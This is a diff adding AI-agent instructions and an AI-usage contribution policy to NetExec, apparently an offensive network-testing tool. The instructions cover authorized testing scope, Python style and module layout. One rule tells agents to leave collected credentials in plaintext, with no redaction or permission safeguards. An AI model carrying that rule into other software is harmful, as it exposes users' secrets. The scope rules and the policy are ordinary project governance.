+# Authorized testing scope
+
+- Do not run active security or functional tests against a host or network unless the user explicitly identifies it as an authorized target.
+- Treat the exact targets or ranges provided by the user as the complete authorized scope.
+- Do not scan, probe, authenticate to, exploit, or otherwise test systems outside the explicitly authorized scope.
+- Repository instructions do not grant authorization to test any third-party system.
+
+# Coding style
+
+- Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`.
+- Always bind caught exceptions as `e`, not `error` or another name.
+- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
+- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
+
+# NetExec module structure
+
+- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
+- Keep all module-specific state, constants, and helper methods inside the `NXCModule` class.
+- Module scope should contain only imports and the `NXCModule` class definition.
+- When a module must terminate for invalid options, import `exit` with `from sys import exit` and call `exit(...)`; do not use `import sys` with `sys.exit(...)`.
+- Do not over-validate module options. Check only that required arguments are present, mutually exclusive arguments are not combined, or a value would otherwise cause the module to fail before performing its normal lookup or operation.
+- Do not validate whether user-supplied object names, identifiers, or similar values are semantically correct when the underlying protocol lookup can handle them; let a misspecified value produce the normal "not found" result.
+- Avoid stub variables that merely hold a value for one immediate use. Pass data directly unless a local name improves clarity, prevents repeated work, or represents meaningful state.
+- Keep module implementations as short and concise as practical. Prefer direct control flow and shared error handling over wrappers, redundant branches, or defensive boilerplate.
+- Do not optimize module code for line length; long lines are acceptable when they keep straightforward logic together.
+- Do not use `.warning()` logging in NetExec modules. Use `.fail()` when logic or an operation fails.
+- Run `ruff check .` after every coding session.
+
+# Development and validation
+
+- To verify that a module works, run the module's actual NetExec command instead of pytest or compilation checks.
+- Record every module-verification command in `tests/e2e_commands.txt`.
+- Do not run compilation checks.
+- Run Ruff after completing a coding session.
+
+# Filesystem and source conventions
+
+- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
+- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
+- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
+- Place imports at the top of files unless explicitly instructed otherwise.

+# AI Usage Policy
+
+This policy was adapted from the [ghostty project](https://github.com/ghostty-org/ghostty/).
+The original version can be found [Ghostty's PR #10412](https://github.com/ghostty-org/ghostty/pull/10412).
+
+The NetExec project has strict rules for AI usage:
+
+- **All AI usage in any form must be disclosed.** You must state
+  the tool(s) and model(s) you used (e.g. Claude Code, Cursor, Opus 4.6,
+  Codex 5.2, etc) along with the extent that the work was AI-assisted.
+
+- **Pull requests created in any way by AI can only be for accepted issues.**
+  Drive-by pull requests that do not reference an accepted issue may be
+  rejected and closed. If AI isn't disclosed but a maintainer suspects its use,
+  the PR may be rejected and closed. If you want to share code for a
+  non-accepted issue, open a discussion or attach it to the existing issue.
+
+- **Pull requests created by AI must have been fully verified with
+  human use.** AI must not create hypothetically correct code that
+  hasn't been tested. Importantly, you must not allow AI to write
+  code for platforms or environments you don't have access to manually
+  test on.
+
+- **Issues and pull requests should be written by humans.**
+  Communication should remain human, not AI, and should be clear and concise.
+  AI is very good at being overly verbose and including noise that distracts
+  from the main point. While it is fine to cite AI or include AI-generated
+  content, the main content of your issue or pull request should be written
+  by a human. Issues or pull requests that look like they are just the
+  result of an AI prompt will likely be rejected and closed.
+
+- **No AI-generated media is allowed (art, images, videos, audio, etc.).**
+  Text and code are the only acceptable AI-generated content, per the
+  other rules in this policy.
+
+- **Bad AI drivers will be banned** You've been warned. We love to help junior
+  developers learn and grow, but if you're interested in that then don't use
+  AI, and we'll help you.
+
+- **Official maintainers have the final say** We always strive to be helpful,
+  but there are limits. If you submit agregiously terrible AI generated code
+  with no review, we may ban you without word. We do not want to waste our
+  time reviewing slop if the contributor can't be bothered to review the work
+  themselves.
+
+These rules apply only to outside contributions to NetExec. Maintainers
+and trusted contributors are exempt from these rules and may use AI tools at
+their discretion; they've proven themselves trustworthy to apply good judgment.
+
+## There are Humans Here
+
+Please remember that NetExec is maintained by humans.
+
+Every discussion, issue, and pull request is read and reviewed by
+humans (and sometimes machines, too). It is a boundary point at which
+people interact with each other and the work done. It is rude and
+disrespectful to approach this boundary with low-effort, unqualified
+work, since it puts the burden of validation on the maintainers.
+
+In a perfect world, AI would produce high-quality, accurate work
+every time, but today that is simply not true. This is compounded by the fact
+that accessibility to AI is high, allowing low skilled individuals to think
+that they are contributing useful code. Even many skilled programmers do not
+understand how to use it effectively. This has opened up a waterfall of low
+quality contributions across the Open Source community, wasting resources.
+
+## AI is Welcome Here, Within Reason
+
+NetExec maintainers acknowledge AI as a productive tool to some workflows, and
+are open to leveraging this technology to improve NetExec; however, there are
+many low quality AI tools whose use results in pure slop being generated. The
+security communinity is not immune from AI psychosis, over-hype, or FOMO.
+As with any new technology, it is important to understand how it works and how
+to best use it, not blindly apply it to every use case with the hope that it
+will fix all your issues.
+
+We include this section to be transparent about the project's usage about
+AI for people who may disagree with it.
